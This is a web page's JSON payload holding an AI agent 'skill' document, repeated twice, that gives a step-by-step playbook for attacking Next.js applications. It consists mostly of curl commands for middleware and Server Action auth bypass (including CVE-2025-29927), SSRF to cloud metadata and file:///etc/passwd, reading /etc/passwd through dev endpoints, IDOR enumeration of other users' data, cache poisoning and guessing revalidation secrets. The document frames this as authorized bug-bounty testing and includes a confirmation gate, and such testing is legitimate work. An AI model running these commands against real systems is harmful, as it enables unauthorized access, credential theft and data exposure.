[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P638PRZD88NCQ3B57WWPZT":3,"skill-same:01M6P638PRZD88NCQ3B57WWPZT":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":21,"commitSha":49,"skillDirectory":50,"forksCount":13,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":53,"install":54,"resources":67},"01M6P638PRZD88NCQ3B57WWPZT","hunt-nextjs",null,"Hunt Next.js specific vulnerabilities","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-nextjs\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt nextjs","nextjs","hunt","main","for","relevant","helper","offensive","scripts","scope","commands","next","testing","community","only","Tools","cve","license","database","security","2026-11-10 10:12:30",false,"---\nname: hunt-nextjs\ndescription: Hunt Next.js specific vulnerabilities\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: cve_database (CVE-2024-34351 \u002F GHSA-fr5h-rqp8-mj6g), Next.js advisories\nreport_count: 0\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-NEXTJS — Next.js \u002F SSR Framework Vulnerabilities\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High\u002FCritical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `\u002F_next\u002Fstatic\u002F`** — middleware skips static asset paths → protected routes accessible via `\u002F_next\u002Fdata\u002F` IDOR\n- **`\u002F_next\u002Fimage` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n\u002F_next\u002Fimage?url=&w=&q=          Image optimizer — SSRF candidate\n\u002F_next\u002Fdata\u002FBUILD_ID\u002F*.json      Prerendered page data — IDOR candidate\n\u002F__nextjs_original-stack-frame   Debug stack frame endpoint\n\u002F_next\u002Fstatic\u002Fchunks\u002F            JS bundles — source map candidate\n\u002Fapi\u002F                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for \u002F_next\u002Fdata\u002F paths\nBUILD_ID=$(curl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fframework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002Findex.js.map\" | head -5\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fmain.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon\u002F$TARGET\u002F --include=\"*.js\" 2>\u002Fdev\u002Fnull\n\n# Call Server Action directly without auth\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Ftarget-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart\u002Fform-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard\n# → 200 means accessible\n\n# Test via \u002F_next\u002Fdata\u002F (SSG\u002FISR JSON) — middleware may not apply\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fdashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude \u002F_next\u002Fstatic)\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002F..\u002Fadmin\u002Fdashboard\"\n\n# Encoded path bypass\ncurl -s \"https:\u002F\u002F$TARGET\u002F%5Fnext\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fusers.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)\nNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth\u002Fredirect middleware on gated routes.\n```bash\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard \\\n  -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\"\n# also: -H \"x-middleware-subrequest: src\u002Fmiddleware\"  and  \"pages\u002F_middleware\"\n# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 \u002F 13.5.9 \u002F 14.2.25 \u002F 15.2.3.\n```\n\n## Phase 4 — Image Optimization SSRF (`\u002F_next\u002Fimage`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=file:\u002F\u002F\u002Fetc\u002Fpasswd&w=64&q=75\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F127.0.0.1:6379\u002F&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http:\u002F\u002FUNIQUE.COLLAB_HOST\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=$COLLAB\u002Fnextjs-ssrf&w=64&q=75\"\n# Check Interactsh\u002FBurp Collaborator for DNS\u002FHTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `\u002F_next\u002Fimage` only\nfetches URLs allowed by `images.remotePatterns` \u002F `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through \u003C 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `\u002F_next\u002Fimage` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `\u002F_next\u002Fdata\u002F` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: \u002F_next\u002Fdata\u002FBUILD_ID\u002F[page].json or \u002F_next\u002Fdata\u002FBUILD_ID\u002F[dynamic]\u002F[id].json\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fprofile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fusers\u002F$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'\u003Cscript id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)\u003C\u002Fscript>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL\u002Fquery\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic \u003Cscript>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post?preview=\u003Cb>$MARK\u003C\u002Fb>\" -o \u002Fdev\u002Fnull\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache \u002F age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?secret=GUESS&path=\u002Fblog\u002Ftest\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?token=GUESS&path=\u002Fadmin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat any non-404 as the real finding; do NOT report a 404\u002Ffiltered\nresponse as confirmation.\n\n```bash\n# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor \u002F stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_launch-editor?file=..\u002F..\u002Fetc\u002Fpasswd&line=1\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"\u002Fetc\u002Fpasswd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002F_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https:\u002F\u002F$TARGET\u002F | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})\u003C\u002Fscript>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation \u002F admin access |\n| `\u002F_next\u002Fimage` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `\u002F_next\u002Fdata\u002F` IDOR | Other users' server-side props | PII \u002F token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys \u002F tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS\u002FHTTP callback received from `\u002F_next\u002Fimage` SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High\u002FCritical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-NEXTJS — Next.js \u002F SSR Framework Vulnerabilities\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High\u002FCritical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `\u002F_next\u002Fstatic\u002F`** — middleware skips static asset paths → protected routes accessible via `\u002F_next\u002Fdata\u002F` IDOR\n- **`\u002F_next\u002Fimage` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n\u002F_next\u002Fimage?url=&w=&q=          Image optimizer — SSRF candidate\n\u002F_next\u002Fdata\u002FBUILD_ID\u002F*.json      Prerendered page data — IDOR candidate\n\u002F__nextjs_original-stack-frame   Debug stack frame endpoint\n\u002F_next\u002Fstatic\u002Fchunks\u002F            JS bundles — source map candidate\n\u002Fapi\u002F                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for \u002F_next\u002Fdata\u002F paths\nBUILD_ID=$(curl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fframework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002Findex.js.map\" | head -5\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fmain.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon\u002F$TARGET\u002F --include=\"*.js\" 2>\u002Fdev\u002Fnull\n\n# Call Server Action directly without auth\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Ftarget-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart\u002Fform-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard\n# → 200 means accessible\n\n# Test via \u002F_next\u002Fdata\u002F (SSG\u002FISR JSON) — middleware may not apply\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fdashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude \u002F_next\u002Fstatic)\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002F..\u002Fadmin\u002Fdashboard\"\n\n# Encoded path bypass\ncurl -s \"https:\u002F\u002F$TARGET\u002F%5Fnext\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fusers.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)\nNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth\u002Fredirect middleware on gated routes.\n```bash\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard \\\n  -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\"\n# also: -H \"x-middleware-subrequest: src\u002Fmiddleware\"  and  \"pages\u002F_middleware\"\n# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 \u002F 13.5.9 \u002F 14.2.25 \u002F 15.2.3.\n```\n\n## Phase 4 — Image Optimization SSRF (`\u002F_next\u002Fimage`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=file:\u002F\u002F\u002Fetc\u002Fpasswd&w=64&q=75\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F127.0.0.1:6379\u002F&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http:\u002F\u002FUNIQUE.COLLAB_HOST\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=$COLLAB\u002Fnextjs-ssrf&w=64&q=75\"\n# Check Interactsh\u002FBurp Collaborator for DNS\u002FHTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `\u002F_next\u002Fimage` only\nfetches URLs allowed by `images.remotePatterns` \u002F `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through \u003C 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `\u002F_next\u002Fimage` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `\u002F_next\u002Fdata\u002F` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: \u002F_next\u002Fdata\u002FBUILD_ID\u002F[page].json or \u002F_next\u002Fdata\u002FBUILD_ID\u002F[dynamic]\u002F[id].json\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fprofile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fusers\u002F$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'\u003Cscript id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)\u003C\u002Fscript>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL\u002Fquery\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic \u003Cscript>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post?preview=\u003Cb>$MARK\u003C\u002Fb>\" -o \u002Fdev\u002Fnull\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache \u002F age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?secret=GUESS&path=\u002Fblog\u002Ftest\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?token=GUESS&path=\u002Fadmin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat any non-404 as the real finding; do NOT report a 404\u002Ffiltered\nresponse as confirmation.\n\n```bash\n# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor \u002F stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_launch-editor?file=..\u002F..\u002Fetc\u002Fpasswd&line=1\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"\u002Fetc\u002Fpasswd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002F_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https:\u002F\u002F$TARGET\u002F | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})\u003C\u002Fscript>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation \u002F admin access |\n| `\u002F_next\u002Fimage` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `\u002F_next\u002Fdata\u002F` IDOR | Other users' server-side props | PII \u002F token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys \u002F tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS\u002FHTTP callback received from `\u002F_next\u002Fimage` SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High\u002FCritical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":25,"source":43,"license":14,"sources":44,"category":37,"date_added":45,"description":7,"source_repo":46,"source_type":31,"report_count":13,"compatibility":47,"license_source":48},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","cve_database 